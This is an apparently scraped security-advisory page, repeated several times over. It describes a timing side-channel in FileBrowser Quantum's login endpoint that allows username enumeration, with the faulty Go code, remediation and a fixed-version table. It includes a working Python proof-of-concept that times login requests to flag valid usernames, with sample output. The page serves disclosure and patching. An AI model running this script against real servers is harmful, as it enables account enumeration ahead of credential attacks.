### Summary The `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. ### Details The vulnerability exists in the `Auth` function of `JSONAuth` in `auth/json.go` (lines 45–52). The function performs a database lookup for the user prior to performing any password validation. ```go user, err := userStore.Get(username) if err != nil { return nil, fmt.Errorf("unable to get user from store: %v", err) } err = users.CheckPwd(password, user.Password) if err != nil { return nil, err } ``` If the username is not found, the function returns an error immediately. If the username is found, the function calls `CheckPwd`, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time. As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times. In testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms. ### PoC The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline. ```python import requests import time import statistics # Configuration - adjust domain and wordlist as appropriate TARGET_URL = "http://localhost/api/auth/login" WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"] def measure(username): start = time.perf_counter() requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"}) return time.perf_counter() - start # 1. Baseline Calibration print("[*] Calibrating...") baselines = [measure(f"not_a_user_{i}") for i in range(20)] threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5) print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s") # 2. Validation Test for user in WORDLIST: t = measure(user) status = "VALID" if t > threshold else "invalid" print(f"{user:<15} | {t:.4f}s | {status}") ``` Example output (with `admin` and `user2` configured as valid users in the application): ``` $ python timeattack.py [*] Calibrating... [*] Baseline: 0.0041s | Threshold: 0.0256s admin | 0.0505s | VALID root | 0.0019s | invalid user2 | 0.0464s | VALID nonexistent_test_user | 0.0015s | invalid ``` ### Impact An unauthenticated attacker can enumerate valid usernames by measuring authentication response times.
### Summary The `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. ### Details The vulnerability exists in the `Auth` function of `JSONAuth` in `auth/json.go` (lines 45–52). The function performs a database lookup for the user prior to performing any password validation. ```go user, err := userStore.Get(username) if err != nil { return nil, fmt.Errorf("unable to get user from store: %v", err) } err = users.CheckPwd(password, user.Password) if err != nil { return nil, err } ``` If the username is not found, the function returns an error immediately. If the username is found, the function calls `CheckPwd`, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time. As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times. In testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms. ### PoC The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline. ```python import requests import time import statistics # Configuration - adjust domain and wordlist as appropriate TARGET_URL = "http://localhost/api/auth/login" WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"] def measure(username): start = time.perf_counter() requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"}) return time.perf_counter() - start # 1. Baseline Calibration print("[*] Calibrating...") baselines = [measure(f"not_a_user_{i}") for i in range(20)] threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5) print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s") # 2. Validation Test for user in WORDLIST: t = measure(user) status = "VALID" if t > threshold else "invalid" print(f"{user:<15} | {t:.4f}s | {status}") ``` Example output (with `admin` and `user2` configured as valid users in the application): ``` $ python timeattack.py [*] Calibrating... [*] Baseline: 0.0041s | Threshold: 0.0256s admin | 0.0505s | VALID root | 0.0019s | invalid user2 | 0.0464s | VALID nonexistent_test_user | 0.0015s | invalid ``` ### Impact An unauthenticated attacker can enumerate valid usernames by measuring authentication response times.
### Summary The `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. ### Details The vulnerability exists in the `Auth` function of `JSONAuth` in `auth/json.go` (lines 45–52). The function performs a database lookup for the user prior to performing any password validation. ```go user, err := userStore.Get(username) if err != nil { return nil, fmt.Errorf("unable to get user from store: %v", err) } err = users.CheckPwd(password, user.Password) if err != nil { return nil, err } ``` If the username is not found, the function returns an error immediately. If the username is found, the function calls `CheckPwd`, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time. As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times. In testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms. ### PoC The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline. ```python import requests import time import statistics # Configuration - adjust domain and wordlist as appropriate TARGET_URL = "http://localhost/api/auth/login" WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"] def measure(username): start = time.perf_counter() requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"}) return time.perf_counter() - start # 1. Baseline Calibration print("[*] Calibrating...") baselines = [measure(f"not_a_user_{i}") for i in range(20)] threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5) print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s") # 2. Validation Test for user in WORDLIST: t = measure(user) status = "VALID" if t > threshold else "invalid" print(f"{user:<15} | {t:.4f}s | {status}") ``` Example output (with `admin` and `user2` configured as valid users in the application): ``` $ python timeattack.py [*] Calibrating... [*] Baseline: 0.0041s | Threshold: 0.0256s admin | 0.0505s | VALID root | 0.0019s | invalid user2 | 0.0464s | VALID nonexistent_test_user | 0.0015s | invalid ``` ### Impact An unauthenticated attacker can enumerate valid usernames by measuring authentication response times.
### Summary The `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. ### Details The vulnerability exists in the `Auth` function of `JSONAuth` in `auth/json.go` (lines 45–52). The function performs a database lookup for the user prior to performing any password validation. ```go user, err := userStore.Get(username) if err != nil { return nil, fmt.Errorf("unable to get user from store: %v", err) } err = users.CheckPwd(password, user.Password) if err != nil { return nil, err } ``` If the username is not found, the function returns an error immediately. If the username is found, the function calls `CheckPwd`, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time. As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times. In testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms. ### PoC The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline. ```python import requests import time import statistics # Configuration - adjust domain and wordlist as appropriate TARGET_URL = "http://localhost/api/auth/login" WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"] def measure(username): start = time.perf_counter() requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"}) return time.perf_counter() - start # 1. Baseline Calibration print("[*] Calibrating...") baselines = [measure(f"not_a_user_{i}") for i in range(20)] threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5) print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s") # 2. Validation Test for user in WORDLIST: t = measure(user) status = "VALID" if t > threshold else "invalid" print(f"{user:<15} | {t:.4f}s | {status}") ``` Example output (with `admin` and `user2` configured as valid users in the application): ``` $ python timeattack.py [*] Calibrating... [*] Baseline: 0.0041s | Threshold: 0.0256s admin | 0.0505s | VALID root | 0.0019s | invalid user2 | 0.0464s | VALID nonexistent_test_user | 0.0015s | invalid ``` ### Impact An unauthenticated attacker can enumerate valid usernames by measuring authentication response times.
Update github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260317230626-af08800667b8 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanFileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel affects github.com/gtsteffaniak/filebrowser/backend (go). Severity is medium. ### Summary The `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. ### Details The vulnerability exists in the `Auth` function of `JSONAuth` in `auth/json.go` (lines 45–52). The function performs a database lookup for the user prior to performing any password validation. ```go user, err := userStore.Get(username) if err != nil { return nil, fmt.Errorf("unable to get user from store: %v", err) } err = users.CheckPwd(password, user.Password) if err != nil { return nil, err } ``` If the username is not found, the function returns an error immediately. If the username is found, the function calls `CheckPwd`, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time. As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times. In testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms. ### PoC The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline. ```python import requests import time import statistics # Configuration - adjust domain and wordlist as appropriate TARGET_URL = "http://localhost/api/auth/login" WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"] def measure(username): start = time.perf_counter() requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"}) return time.perf_counter() - start # 1. Baseline Calibration print("[*] Calibrating...") baselines = [measure(f"not_a_user_{i}") for i in range(20)] threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5) print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s") # 2. Validation Test for user in WORDLIST: t = measure(user) status = "VALID" if t > threshold else "invalid" print(f"{user:<15} | {t:.4f}s | {status}") ``` Example output (with `admin` and `user2` configured as valid users in the application): ``` $ python timeattack.py [*] Calibrating... [*] Baseline: 0.0041s | Threshold: 0.0256s admin | 0.0505s | VALID root | 0.0019s | invalid user2 | 0.0464s | VALID nonexistent_test_user | 0.0015s | invalid ``` ### Impact An unauthenticated attacker can enumerate valid usernames by measuring authentication response times.
AI coding agents often install or upgrade packages automatically in go. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/gtsteffaniak/filebrowser/backendgo | <0.0.0-20260317230626-af08800667b8 | 0.0.0-20260317230626-af08800667b8 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260317230626-af08800667b8 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanFileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel affects github.com/gtsteffaniak/filebrowser/backend (go). Severity is medium. ### Summary The `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. ### Details The vulnerability exists in the `Auth` function of `JSONAuth` in `auth/json.go` (lines 45–52). The function performs a database lookup for the user prior to performing any password validation. ```go user, err := userStore.Get(username) if err != nil { return nil, fmt.Errorf("unable to get user from store: %v", err) } err = users.CheckPwd(password, user.Password) if err != nil { return nil, err } ``` If the username is not found, the function returns an error immediately. If the username is found, the function calls `CheckPwd`, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time. As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times. In testing, responses for valid usernames consistently required approximately 40–50 ms due to the bcrypt comparison, while invalid usernames returned in approximately 1–4 ms. ### PoC The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then testing a list of target users. Valid usernames are detected when the response time exceeds the baseline. ```python import requests import time import statistics # Configuration - adjust domain and wordlist as appropriate TARGET_URL = "http://localhost/api/auth/login" WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"] def measure(username): start = time.perf_counter() requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"}) return time.perf_counter() - start # 1. Baseline Calibration print("[*] Calibrating...") baselines = [measure(f"not_a_user_{i}") for i in range(20)] threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5) print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s") # 2. Validation Test for user in WORDLIST: t = measure(user) status = "VALID" if t > threshold else "invalid" print(f"{user:<15} | {t:.4f}s | {status}") ``` Example output (with `admin` and `user2` configured as valid users in the application): ``` $ python timeattack.py [*] Calibrating... [*] Baseline: 0.0041s | Threshold: 0.0256s admin | 0.0505s | VALID root | 0.0019s | invalid user2 | 0.0464s | VALID nonexistent_test_user | 0.0015s | invalid ``` ### Impact An unauthenticated attacker can enumerate valid usernames by measuring authentication response times.
AI coding agents often install or upgrade packages automatically in go. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/gtsteffaniak/filebrowser/backendgo | <0.0.0-20260317230626-af08800667b8 | 0.0.0-20260317230626-af08800667b8 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard